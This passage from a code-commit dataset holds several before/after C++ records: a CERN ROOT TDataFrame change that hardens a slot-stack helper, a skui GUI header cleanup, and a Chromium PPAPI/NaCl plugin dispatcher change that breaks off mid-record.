check filters and conditionally execute actions\n         while (r.Next()) {\n            const auto currEntry = r.GetCurrentEntry();\n            for (auto &actionPtr : fBookedActions) actionPtr->Run(slot, currEntry);\n            for (auto &namedFilterPtr : fBookedNamedFilters) namedFilterPtr->CheckFilters(slot, currEntry);\n         }\n         slotStack.Push(slot);\n      });\n   } else {\n#endif \/\/ R__USE_IMT\n      TTreeReader r(fTree);\n\n      CreateSlots(1);\n      BuildAllReaderValues(r, 0);\n\n      \/\/ recursive call to check filters and conditionally execute actions\n      while (r.Next()) {\n         const auto currEntry = r.GetCurrentEntry();\n         for (auto &actionPtr : fBookedActions) actionPtr->Run(0, currEntry);\n         for (auto &namedFilterPtr : fBookedNamedFilters) namedFilterPtr->CheckFilters(0, currEntry);\n      }\n#ifdef R__USE_IMT\n   }\n#endif \/\/ R__USE_IMT\n\n   fHasRunAtLeastOnce = true;\n   \/\/ forget actions and \"detach\" the action result pointers marking them ready\n   \/\/ and forget them too\n   fBookedActions.clear();\n   for (auto readiness : fResProxyReadiness) {\n      *readiness.get() = true;\n   }\n   fResProxyReadiness.clear();\n}\n\n\/\/\/ Build TTreeReaderValues for all nodes\n\/\/\/\n\/\/\/ This method loops over all filters, actions and other booked objects and\n\/\/\/ calls their `BuildReaderValues` methods. It is called once per node per slot, before\n\/\/\/ running the event loop. It also informs each node of the TTreeReader that\n\/\/\/ a particular slot will be using.\nvoid TDataFrameImpl::BuildAllReaderValues(TTreeReader &r, unsigned int slot)\n{\n   for (auto &ptr : fBookedActions) ptr->BuildReaderValues(r, slot);\n   for (auto &ptr : fBookedFilters) ptr->BuildReaderValues(r, slot);\n   for (auto &bookedBranch : fBookedBranches) bookedBranch.second->BuildReaderValues(r, slot);\n}\n\n\/\/\/ Initialize all nodes of the functional graph before running the event loop\n\/\/\/\n\/\/\/ This method loops over all filters, actions and other booked objects and\n\/\/\/ calls their `CreateSlots` methods. It is called once per node before running the\n\/\/\/ event loop. The main effect is to inform all nodes of the number of slots\n\/\/\/ (i.e. workers) that will be used to perform the event loop.\nvoid TDataFrameImpl::CreateSlots(unsigned int nSlots)\n{\n   for (auto &ptr : fBookedActions) ptr->CreateSlots(nSlots);\n   for (auto &ptr : fBookedFilters) ptr->CreateSlots(nSlots);\n   for (auto &bookedBranch : fBookedBranches) bookedBranch.second->CreateSlots(nSlots);\n}\n\nTDataFrameImpl *TDataFrameImpl::GetImplPtr()\n{\n   return this;\n}\n\nconst BranchNames_t &TDataFrameImpl::GetDefaultBranches() const\n{\n   return fDefaultBranches;\n}\n\nTTree *TDataFrameImpl::GetTree() const\n{\n   return fTree;\n}\n\nconst TDataFrameBranchBase &TDataFrameImpl::GetBookedBranch(const std::string &name) const\n{\n   return *fBookedBranches.find(name)->second.get();\n}\n\nvoid *TDataFrameImpl::GetTmpBranchValue(const std::string &branch, unsigned int slot, Long64_t entry)\n{\n   return fBookedBranches.at(branch)->GetValue(slot, entry);\n}\n\nTDirectory *TDataFrameImpl::GetDirectory() const\n{\n   return fDirPtr;\n}\n\nstd::string TDataFrameImpl::GetTreeName() const\n{\n   return fTree->GetName();\n}\n\nvoid TDataFrameImpl::Book(const ROOT::Internal::ActionBasePtr_t &actionPtr)\n{\n   fBookedActions.emplace_back(actionPtr);\n}\n\nvoid TDataFrameImpl::Book(const ROOT::Detail::FilterBasePtr_t &filterPtr)\n{\n   fBookedFilters.emplace_back(filterPtr);\n   if (filterPtr->HasName()) {\n      fBookedNamedFilters.emplace_back(filterPtr);\n   }\n}\n\nvoid TDataFrameImpl::Book(const ROOT::Detail::TmpBranchBasePtr_t &branchPtr)\n{\n   fBookedBranches[branchPtr->GetName()] = branchPtr;\n}\n\n\/\/ dummy call, end of recursive chain of calls\nbool TDataFrameImpl::CheckFilters(int, unsigned int)\n{\n   return true;\n}\n\nunsigned int TDataFrameImpl::GetNSlots() const\n{\n   return fNSlots;\n}\n\n\/\/\/ Call `PrintReport` on all booked filters\nvoid TDataFrameImpl::Report() const\n{\n   for (const auto &fPtr : fBookedNamedFilters) fPtr->PrintReport();\n}\n\n} \/\/ end NS Detail\n} \/\/ end NS ROOT\n<commit_msg>[TDF] Make TSlotStack helper sturdier against error condtions.<commit_after>\/\/ Author: Enrico Guiraud, Danilo Piparo CERN  03\/2017\n\n\/*************************************************************************\n * Copyright (C) 1995-2016, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include \"RConfigure.h\" \/\/ R__USE_IMT\n#include \"ROOT\/TDFNodes.hxx\"\n#include \"ROOT\/TSpinMutex.hxx\"\n#include \"ROOT\/TTreeProcessorMT.hxx\"\n#include \"RtypesCore.h\" \/\/ Long64_t\n#include \"TROOT.h\"      \/\/ IsImplicitMTEnabled\n#include \"TTreeReader.h\"\n\n#include <cassert>\n#include <mutex>\n#include <numeric> \/\/ std::accumulate\n#include <string>\nclass TDirectory;\nclass TTree;\n\nnamespace ROOT {\nnamespace Internal {\n\nTDataFrameActionBase::TDataFrameActionBase(ROOT::Detail::TDataFrameImpl *implPtr, const BranchNames_t &tmpBranches)\n   : fImplPtr(implPtr), fTmpBranches(tmpBranches)\n{\n}\n\nvoid TDataFrameActionBase::CreateSlots(unsigned int nSlots)\n{\n   fReaderValues.resize(nSlots);\n}\n\n} \/\/ end NS Internal\n\nnamespace Detail {\n\nTDataFrameBranchBase::TDataFrameBranchBase(TDataFrameImpl *implPtr, const BranchNames_t &tmpBranches,\n                                           const std::string &name)\n   : fImplPtr(implPtr), fTmpBranches(tmpBranches), fName(name){};\n\nBranchNames_t TDataFrameBranchBase::GetTmpBranches() const\n{\n   return fTmpBranches;\n}\n\nstd::string TDataFrameBranchBase::GetName() const\n{\n   return fName;\n}\n\nTDataFrameImpl *TDataFrameBranchBase::GetImplPtr() const\n{\n   return fImplPtr;\n}\n\nTDataFrameFilterBase::TDataFrameFilterBase(TDataFrameImpl *implPtr, const BranchNames_t &tmpBranches,\n                                           const std::string &name)\n   : fImplPtr(implPtr), fTmpBranches(tmpBranches), fName(name){};\n\nTDataFrameImpl *TDataFrameFilterBase::GetImplPtr() const\n{\n   return fImplPtr;\n}\n\nBranchNames_t TDataFrameFilterBase::GetTmpBranches() const\n{\n   return fTmpBranches;\n}\n\nbool TDataFrameFilterBase::HasName() const\n{\n   return !fName.empty();\n};\n\nvoid TDataFrameFilterBase::CreateSlots(unsigned int nSlots)\n{\n   fReaderValues.resize(nSlots);\n   fLastCheckedEntry.resize(nSlots, -1);\n   fLastResult.resize(nSlots);\n   fAccepted.resize(nSlots);\n   fRejected.resize(nSlots);\n   \/\/ fAccepted and fRejected could be different than 0 if this is not the\n   \/\/ first event-loop run using this filter\n   std::fill(fAccepted.begin(), fAccepted.end(), 0);\n   std::fill(fRejected.begin(), fRejected.end(), 0);\n}\n\nvoid TDataFrameFilterBase::PrintReport() const\n{\n   if (fName.empty()) \/\/ PrintReport is no-op for unnamed filters\n      return;\n   const auto accepted = std::accumulate(fAccepted.begin(), fAccepted.end(), 0ULL);\n   const auto all      = accepted + std::accumulate(fRejected.begin(), fRejected.end(), 0ULL);\n   double     perc     = accepted;\n   if (all > 0) perc \/= all;\n   perc *= 100.;\n   Printf(\"%-10s: pass=%-10lld all=%-10lld -- %8.3f %%\", fName.c_str(), accepted, all, perc);\n}\n\nTDataFrameImpl::TDataFrameImpl(TTree *tree, const BranchNames_t &defaultBranches)\n   : fTree(tree), fDefaultBranches(defaultBranches), fNSlots(ROOT::Internal::GetNSlots())\n{\n}\n\n\/\/ This is an helper class to allow to pick a slot without resorting to a map\n\/\/ indexed by thread ids.\n\/\/ WARNING: this class does not work as a regular stack. The size is\n\/\/ fixed at construction time and no blocking is foreseen.\n\/\/ TODO move into TDFUtils\nclass TSlotStack {\nprivate:\n   unsigned int              fCursor;\n   std::vector<unsigned int> fBuf;\n   ROOT::TSpinMutex          fMutex;\n\npublic:\n   TSlotStack() = delete;\n   TSlotStack(unsigned int size) : fCursor(size), fBuf(size) { std::iota(fBuf.begin(), fBuf.end(), 0U); }\n   void Push(unsigned int slotNumber)\n   {\n      std::lock_guard<ROOT::TSpinMutex> guard(fMutex);\n      fBuf[fCursor++] = slotNumber;\n      assert(fCursor <= fBuf.size() && \"TSlotStack assumes that at most a fixed number of values can be present in the stack. fCursor is greater than the size of the internal buffer. This violates such assumption.\");\n   };\n   unsigned int Pop()\n   {\n      assert(fCursor > 0 && \"TSlotStack assumes that a value can be always popped. fCursor is <=0 and this violates such assumption.\");\n      std::lock_guard<ROOT::TSpinMutex> guard(fMutex);\n      return fBuf[--fCursor];\n   }\n};\n\nvoid TDataFrameImpl::Run()\n{\n#ifdef R__USE_IMT\n   if (ROOT::IsImplicitMTEnabled()) {\n      using ttpmt_t = ROOT::TTreeProcessorMT;\n      std::unique_ptr<ttpmt_t> tp;\n      tp.reset(new ttpmt_t(*fTree));\n\n      TSlotStack slotStack(fNSlots);\n      CreateSlots(fNSlots);\n      tp->Process([this, &slotStack](TTreeReader &r) -> void {\n         auto slot = slotStack.Pop();\n         BuildAllReaderValues(r, slot);\n         \/\/ recursive call to check filters and conditionally execute actions\n         while (r.Next()) {\n            const auto currEntry = r.GetCurrentEntry();\n            for (auto &actionPtr : fBookedActions) actionPtr->Run(slot, currEntry);\n            for (auto &namedFilterPtr : fBookedNamedFilters) namedFilterPtr->CheckFilters(slot, currEntry);\n         }\n         slotStack.Push(slot);\n      });\n   } else {\n#endif \/\/ R__USE_IMT\n      TTreeReader r(fTree);\n\n      CreateSlots(1);\n      BuildAllReaderValues(r, 0);\n\n      \/\/ recursive call to check filters and conditionally execute actions\n      while (r.Next()) {\n         const auto currEntry = r.GetCurrentEntry();\n         for (auto &actionPtr : fBookedActions) actionPtr->Run(0, currEntry);\n         for (auto &namedFilterPtr : fBookedNamedFilters) namedFilterPtr->CheckFilters(0, currEntry);\n      }\n#ifdef R__USE_IMT\n   }\n#endif \/\/ R__USE_IMT\n\n   fHasRunAtLeastOnce = true;\n   \/\/ forget actions and \"detach\" the action result pointers marking them ready\n   \/\/ and forget them too\n   fBookedActions.clear();\n   for (auto readiness : fResProxyReadiness) {\n      *readiness.get() = true;\n   }\n   fResProxyReadiness.clear();\n}\n\n\/\/\/ Build TTreeReaderValues for all nodes\n\/\/\/\n\/\/\/ This method loops over all filters, actions and other booked objects and\n\/\/\/ calls their `BuildReaderValues` methods. It is called once per node per slot, before\n\/\/\/ running the event loop. It also informs each node of the TTreeReader that\n\/\/\/ a particular slot will be using.\nvoid TDataFrameImpl::BuildAllReaderValues(TTreeReader &r, unsigned int slot)\n{\n   for (auto &ptr : fBookedActions) ptr->BuildReaderValues(r, slot);\n   for (auto &ptr : fBookedFilters) ptr->BuildReaderValues(r, slot);\n   for (auto &bookedBranch : fBookedBranches) bookedBranch.second->BuildReaderValues(r, slot);\n}\n\n\/\/\/ Initialize all nodes of the functional graph before running the event loop\n\/\/\/\n\/\/\/ This method loops over all filters, actions and other booked objects and\n\/\/\/ calls their `CreateSlots` methods. It is called once per node before running the\n\/\/\/ event loop. The main effect is to inform all nodes of the number of slots\n\/\/\/ (i.e. workers) that will be used to perform the event loop.\nvoid TDataFrameImpl::CreateSlots(unsigned int nSlots)\n{\n   for (auto &ptr : fBookedActions) ptr->CreateSlots(nSlots);\n   for (auto &ptr : fBookedFilters) ptr->CreateSlots(nSlots);\n   for (auto &bookedBranch : fBookedBranches) bookedBranch.second->CreateSlots(nSlots);\n}\n\nTDataFrameImpl *TDataFrameImpl::GetImplPtr()\n{\n   return this;\n}\n\nconst BranchNames_t &TDataFrameImpl::GetDefaultBranches() const\n{\n   return fDefaultBranches;\n}\n\nTTree *TDataFrameImpl::GetTree() const\n{\n   return fTree;\n}\n\nconst TDataFrameBranchBase &TDataFrameImpl::GetBookedBranch(const std::string &name) const\n{\n   return *fBookedBranches.find(name)->second.get();\n}\n\nvoid *TDataFrameImpl::GetTmpBranchValue(const std::string &branch, unsigned int slot, Long64_t entry)\n{\n   return fBookedBranches.at(branch)->GetValue(slot, entry);\n}\n\nTDirectory *TDataFrameImpl::GetDirectory() const\n{\n   return fDirPtr;\n}\n\nstd::string TDataFrameImpl::GetTreeName() const\n{\n   return fTree->GetName();\n}\n\nvoid TDataFrameImpl::Book(const ROOT::Internal::ActionBasePtr_t &actionPtr)\n{\n   fBookedActions.emplace_back(actionPtr);\n}\n\nvoid TDataFrameImpl::Book(const ROOT::Detail::FilterBasePtr_t &filterPtr)\n{\n   fBookedFilters.emplace_back(filterPtr);\n   if (filterPtr->HasName()) {\n      fBookedNamedFilters.emplace_back(filterPtr);\n   }\n}\n\nvoid TDataFrameImpl::Book(const ROOT::Detail::TmpBranchBasePtr_t &branchPtr)\n{\n   fBookedBranches[branchPtr->GetName()] = branchPtr;\n}\n\n\/\/ dummy call, end of recursive chain of calls\nbool TDataFrameImpl::CheckFilters(int, unsigned int)\n{\n   return true;\n}\n\nunsigned int TDataFrameImpl::GetNSlots() const\n{\n   return fNSlots;\n}\n\n\/\/\/ Call `PrintReport` on all booked filters\nvoid TDataFrameImpl::Report() const\n{\n   for (const auto &fPtr : fBookedNamedFilters) fPtr->PrintReport();\n}\n\n} \/\/ end NS Detail\n} \/\/ end NS ROOT\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * The MIT License (MIT)\n *\n * Copyright © 2018 Ruben Van Boxem\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n **\/\n\n\/*\n * make_element\n * Convenience function to create element_ptr's.\n *\/\n\n#ifndef SKUI_GUI_MAKE_ELEMENT_H\n#define SKUI_GUI_MAKE_ELEMENT_H\n\n#include \"gui\/element.h++\"\n\n#include <core\/utility.h++>\n\n#include <memory>\n#include <utility>\n\nnamespace skui\n{\n  namespace gui\n  {\n    template<typename ElementType, typename... ArgumentTypes>\n    std::unique_ptr<ElementType> make(ArgumentTypes&&... arguments)\n    {\n      return std::make_unique<ElementType>(std::forward<ArgumentTypes>(arguments)...);\n    }\n\n    template<typename... ElementTypes>\n    element_ptrs make_element_ptrs(std::unique_ptr<ElementTypes>&&... elements)\n    {\n      element_ptrs result;\n      (result.emplace_back(std::move(elements)), ...);\n      return result;\n    }\n  }\n}\n\n#endif\n<commit_msg>Remove silly std::make_unique wrapper.<commit_after>\/**\n * The MIT License (MIT)\n *\n * Copyright © 2018 Ruben Van Boxem\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n **\/\n\n\/*\n * make_element\n * Convenience function to create element_ptr's.\n *\/\n\n#ifndef SKUI_GUI_MAKE_ELEMENT_H\n#define SKUI_GUI_MAKE_ELEMENT_H\n\n#include \"gui\/element.h++\"\n\n#include <core\/utility.h++>\n\n#include <memory>\n#include <utility>\n\nnamespace skui\n{\n  namespace gui\n  {\n    template<typename... ElementTypes>\n    element_ptrs make_element_ptrs(std::unique_ptr<ElementTypes>&&... elements)\n    {\n      element_ptrs result;\n      (result.emplace_back(std::move(elements)), ...);\n      return result;\n    }\n  }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <map>\n#include <set>\n\n#include \"build\/build_config.h\"\n\/\/ Need to include this before most other files because it defines\n\/\/ IPC_MESSAGE_LOG_ENABLED. We need to use it to define\n\/\/ IPC_MESSAGE_MACROS_LOG_ENABLED so ppapi_messages.h will generate the\n\/\/ ViewMsgLog et al. functions.\n\n#include \"base\/command_line.h\"\n#include \"base\/message_loop\/message_loop.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"base\/threading\/thread.h\"\n#include \"components\/tracing\/child_trace_message_filter.h\"\n#include \"ipc\/ipc_channel_handle.h\"\n#include \"ipc\/ipc_logging.h\"\n#include \"ipc\/ipc_message.h\"\n#include \"native_client\/src\/shared\/srpc\/nacl_srpc.h\"\n#include \"native_client\/src\/untrusted\/irt\/irt_ppapi.h\"\n#include \"ppapi\/c\/ppp.h\"\n#include \"ppapi\/c\/ppp_instance.h\"\n#include \"ppapi\/native_client\/src\/shared\/ppapi_proxy\/ppruntime.h\"\n#include \"ppapi\/proxy\/plugin_dispatcher.h\"\n#include \"ppapi\/proxy\/plugin_globals.h\"\n#include \"ppapi\/proxy\/plugin_proxy_delegate.h\"\n#include \"ppapi\/shared_impl\/ppb_audio_shared.h\"\n\n#if defined(IPC_MESSAGE_LOG_ENABLED)\n#include \"base\/containers\/hash_tables.h\"\n\nLogFunctionMap g_log_function_mapping;\n\n#define IPC_MESSAGE_MACROS_LOG_ENABLED\n#define IPC_LOG_TABLE_ADD_ENTRY(msg_id, logger) \\\n  g_log_function_mapping[msg_id] = logger\n\n#endif\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n\n\/\/ This must match up with NACL_CHROME_INITIAL_IPC_DESC,\n\/\/ defined in sel_main_chrome.h\n#define NACL_IPC_FD 6\n\nusing ppapi::proxy::PluginDispatcher;\nusing ppapi::proxy::PluginGlobals;\nusing ppapi::proxy::PluginProxyDelegate;\nusing ppapi::proxy::ProxyChannel;\nusing ppapi::proxy::SerializedHandle;\n\nnamespace {\n\n\/\/ This class manages communication between the plugin and the browser, and\n\/\/ manages the PluginDispatcher instances for communication between the plugin\n\/\/ and the renderer.\nclass PpapiDispatcher : public ProxyChannel,\n                        public PluginDispatcher::PluginDelegate,\n                        public PluginProxyDelegate {\n public:\n  explicit PpapiDispatcher(scoped_refptr<base::MessageLoopProxy> io_loop);\n\n  \/\/ PluginDispatcher::PluginDelegate implementation.\n  virtual base::MessageLoopProxy* GetIPCMessageLoop() OVERRIDE;\n  virtual base::WaitableEvent* GetShutdownEvent() OVERRIDE;\n  virtual IPC::PlatformFileForTransit ShareHandleWithRemote(\n      base::PlatformFile handle,\n      base::ProcessId peer_pid,\n      bool should_close_source) OVERRIDE;\n  virtual std::set<PP_Instance>* GetGloballySeenInstanceIDSet() OVERRIDE;\n  virtual uint32 Register(PluginDispatcher* plugin_dispatcher) OVERRIDE;\n  virtual void Unregister(uint32 plugin_dispatcher_id) OVERRIDE;\n\n  \/\/ PluginProxyDelegate implementation.\n  virtual IPC::Sender* GetBrowserSender() OVERRIDE;\n  virtual std::string GetUILanguage() OVERRIDE;\n  virtual void PreCacheFont(const void* logfontw) OVERRIDE;\n  virtual void SetActiveURL(const std::string& url) OVERRIDE;\n  virtual PP_Resource CreateBrowserFont(\n      ppapi::proxy::Connection connection,\n      PP_Instance instance,\n      const PP_BrowserFont_Trusted_Description& desc,\n      const ppapi::Preferences& prefs) OVERRIDE;\n\n  \/\/ IPC::Listener implementation.\n  virtual bool OnMessageReceived(const IPC::Message& message) OVERRIDE;\n\n private:\n  void OnMsgCreateNaClChannel(int renderer_id,\n                              const ppapi::PpapiNaClChannelArgs& args,\n                              SerializedHandle handle);\n  void OnMsgResourceReply(\n      const ppapi::proxy::ResourceMessageReplyParams& reply_params,\n      const IPC::Message& nested_msg);\n  void OnPluginDispatcherMessageReceived(const IPC::Message& msg);\n\n  std::set<PP_Instance> instances_;\n  std::map<uint32, PluginDispatcher*> plugin_dispatchers_;\n  uint32 next_plugin_dispatcher_id_;\n  scoped_refptr<base::MessageLoopProxy> message_loop_;\n  base::WaitableEvent shutdown_event_;\n};\n\nPpapiDispatcher::PpapiDispatcher(scoped_refptr<base::MessageLoopProxy> io_loop)\n    : next_plugin_dispatcher_id_(0),\n      message_loop_(io_loop),\n      shutdown_event_(true, false) {\n  IPC::ChannelHandle channel_handle(\n      \"NaCl IPC\", base::FileDescriptor(NACL_IPC_FD, false));\n  \/\/ We don't have\/need a PID since handle sharing happens outside of the\n  \/\/ NaCl sandbox.\n  InitWithChannel(this, base::kNullProcessId, channel_handle,\n                  false);  \/\/ Channel is server.\n  channel()->AddFilter(\n      new tracing::ChildTraceMessageFilter(message_loop_.get()));\n}\n\nbase::MessageLoopProxy* PpapiDispatcher::GetIPCMessageLoop() {\n  return message_loop_.get();\n}\n\nbase::WaitableEvent* PpapiDispatcher::GetShutdownEvent() {\n  return &shutdown_event_;\n}\n\nIPC::PlatformFileForTransit PpapiDispatcher::ShareHandleWithRemote(\n    base::PlatformFile handle,\n    base::ProcessId peer_pid,\n    bool should_close_source) {\n  return IPC::InvalidPlatformFileForTransit();\n}\n\nstd::set<PP_Instance>* PpapiDispatcher::GetGloballySeenInstanceIDSet() {\n  return &instances_;\n}\n\nuint32 PpapiDispatcher::Register(PluginDispatcher* plugin_dispatcher) {\n  if (!plugin_dispatcher ||\n      plugin_dispatchers_.size() >= std::numeric_limits<uint32>::max()) {\n    return 0;\n  }\n\n  uint32 id = 0;\n  do {\n    \/\/ Although it is unlikely, make sure that we won't cause any trouble\n    \/\/ when the counter overflows.\n    id = next_plugin_dispatcher_id_++;\n  } while (id == 0 ||\n           plugin_dispatchers_.find(id) != plugin_dispatchers_.end());\n  plugin_dispatchers_[id] = plugin_dispatcher;\n  return id;\n}\n\nvoid PpapiDispatcher::Unregister(uint32 plugin_dispatcher_id) {\n  plugin_dispatchers_.erase(plugin_dispatcher_id);\n}\n\nIPC::Sender* PpapiDispatcher::GetBrowserSender() {\n  return this;\n}\n\nstd::string PpapiDispatcher::GetUILanguage() {\n  NOTIMPLEMENTED();\n  return std::string();\n}\n\nvoid PpapiDispatcher::PreCacheFont(const void* logfontw) {\n  NOTIMPLEMENTED();\n}\n\nvoid PpapiDispatcher::SetActiveURL(const std::string& url) {\n  NOTIMPLEMENTED();\n}\n\nPP_Resource PpapiDispatcher::CreateBrowserFont(\n    ppapi::proxy::Connection connection,\n    PP_Instance instance,\n    const PP_BrowserFont_Trusted_Description& desc,\n    const ppapi::Preferences& prefs) {\n  NOTIMPLEMENTED();\n  return 0;\n}\n\nbool PpapiDispatcher::OnMessageReceived(const IPC::Message& msg) {\n  IPC_BEGIN_MESSAGE_MAP(PpapiDispatcher, msg)\n    IPC_MESSAGE_HANDLER(PpapiMsg_CreateNaClChannel, OnMsgCreateNaClChannel)\n    IPC_MESSAGE_HANDLER(PpapiPluginMsg_ResourceReply, OnMsgResourceReply)\n    \/\/ All other messages are simply forwarded to a PluginDispatcher.\n    IPC_MESSAGE_UNHANDLED(OnPluginDispatcherMessageReceived(msg))\n  IPC_END_MESSAGE_MAP()\n  return true;\n}\n\nvoid PpapiDispatcher::OnMsgCreateNaClChannel(\n    int renderer_id,\n    const ppapi::PpapiNaClChannelArgs& args,\n    SerializedHandle handle) {\n  static bool command_line_and_logging_initialized = false;\n  if (!command_line_and_logging_initialized) {\n    CommandLine::Init(0, NULL);\n    for (size_t i = 0; i < args.switch_names.size(); ++i) {\n      DCHECK(i < args.switch_values.size());\n      CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n          args.switch_names[i], args.switch_values[i]);\n    }\n    logging::LoggingSettings settings;\n    settings.logging_dest = logging::LOG_TO_SYSTEM_DEBUG_LOG;\n    logging::InitLogging(settings);\n    command_line_and_logging_initialized = true;\n  }\n  \/\/ Tell the process-global GetInterface which interfaces it can return to the\n  \/\/ plugin.\n  ppapi::proxy::InterfaceList::SetProcessGlobalPermissions(\n      args.permissions);\n\n  PluginDispatcher* dispatcher =\n      new PluginDispatcher(::PPP_GetInterface, args.permissions,\n                           args.off_the_record);\n  \/\/ The channel handle's true name is not revealed here.\n  IPC::ChannelHandle channel_handle(\"nacl\", handle.descriptor());\n  if (!dispatcher->InitPluginWithChannel(this, base::kNullProcessId,\n                                         channel_handle, false)) {\n    delete dispatcher;\n    return;\n  }\n  \/\/ From here, the dispatcher will manage its own lifetime according to the\n  \/\/ lifetime of the attached channel.\n}\n\nvoid PpapiDispatcher::OnMsgResourceReply(\n    const ppapi::proxy::ResourceMessageReplyParams& reply_params,\n    const IPC::Message& nested_msg) {\n  ppapi::proxy::PluginDispatcher::DispatchResourceReply(reply_params,\n                                                        nested_msg);\n}\n\nvoid PpapiDispatcher::OnPluginDispatcherMessageReceived(\n    const IPC::Message& msg) {\n  \/\/ The first parameter should be a plugin dispatcher ID.\n  PickleIterator iter(msg);\n  uint32 id = 0;\n  if (!msg.ReadUInt32(&iter, &id)) {\n    NOTREACHED();\n    return;\n  }\n  std::map<uint32, ppapi::proxy::PluginDispatcher*>::iterator dispatcher =\n      plugin_dispatchers_.find(id);\n  if (dispatcher != plugin_dispatchers_.end())\n    dispatcher->second->OnMessageReceived(msg);\n}\n\n}  \/\/ namespace\n\nvoid PpapiPluginRegisterThreadCreator(\n    const struct PP_ThreadFunctions* thread_functions) {\n  \/\/ Initialize all classes that need to create threads that call back into\n  \/\/ user code.\n  ppapi::PPB_Audio_Shared::SetThreadFunctions(thread_functions);\n}\n\nint PpapiPluginMain() {\n  \/\/ Though it isn't referenced here, we must instantiate an AtExitManager.\n  base::AtExitManager exit_manager;\n  base::MessageLoop loop;\n  IPC::Logging::set_log_function_map(&g_log_function_mapping);\n  ppapi::proxy::PluginGlobals plugin_globals;\n  base::Thread io_thread(\"Chrome_NaClIOThread\");\n  base::Thread::Options options;\n  options.message_loop_type = base::MessageLoop::TYPE_IO;\n  io_thread.StartWithOptions(options);\n\n  \/\/ Start up the SRPC server on another thread. Otherwise, when it blocks\n  \/\/ on an RPC, the PPAPI proxy will hang. Do this before we initialize the\n  \/\/ module and start the PPAPI proxy so that the NaCl plugin can continue\n  \/\/ loading the app.\n  static struct NaClSrpcHandlerDesc srpc_methods[] = { { NULL, NULL } };\n  if (!NaClSrpcAcceptClientOnThread(srpc_methods)) {\n    return 1;\n  }\n\n  int32_t error = ::PPP_InitializeModule(\n      0 \/* module *\/,\n      &ppapi::proxy::PluginDispatcher::GetBrowserInterface);\n  \/\/ TODO(dmichael): Handle other error conditions, like failure to connect?\n  if (error)\n    return error;\n\n  PpapiDispatcher ppapi_dispatcher(io_thread.message_loop_proxy());\n  plugin_globals.set_plugin_proxy_delegate(&ppapi_dispatcher);\n\n  loop.Run();\n\n  return 0;\n}\n<commit_msg>PPAPI\/NaCl: Delay calling PPP_InitializeModule<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <map>\n#include <set>\n\n#include \"build\/build_config.h\"\n\/\/ Need to include this before most other files because it defines\n\/\/ IPC_MESSAGE_LOG_ENABLED. We need to use it to define\n\/\/ IPC_MESSAGE_MACROS_LOG_ENABLED so ppapi_messages.h will generate the\n\/\/ ViewMsgLog et al. functions.\n\n#include \"base\/command_line.h\"\n#include \"base\/message_loop\/message_loop.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"base\/threading\/thread.h\"\n#include \"components\/tracing\/child_trace_message_filter.h\"\n#include \"ipc\/ipc_channel_handle.h\"\n#include \"ipc\/ipc_logging.h\"\n#include \"ipc\/ipc_message.h\"\n#include \"native_client\/src\/shared\/srpc\/nacl_srpc.h\"\n#include \"native_client\/src\/untrusted\/irt\/irt_ppapi.h\"\n#include \"ppapi\/c\/ppp.h\"\n#include \"ppapi\/c\/ppp_instance.h\"\n#include \"ppapi\/native_client\/src\/shared\/ppapi_proxy\/ppruntime.h\"\n#include \"ppapi\/proxy\/plugin_dispatcher.h\"\n#include \"ppapi\/proxy\/plugin_globals.h\"\n#include \"ppapi\/proxy\/plugin_proxy_delegate.h\"\n#include \"ppapi\/shared_impl\/ppb_audio_shared.h\"\n\n#if defined(IPC_MESSAGE_LOG_ENABLED)\n#include \"base\/containers\/hash_tables.h\"\n\nLogFunctionMap g_log_function_mapping;\n\n#define IPC_MESSAGE_MACROS_LOG_ENABLED\n#define 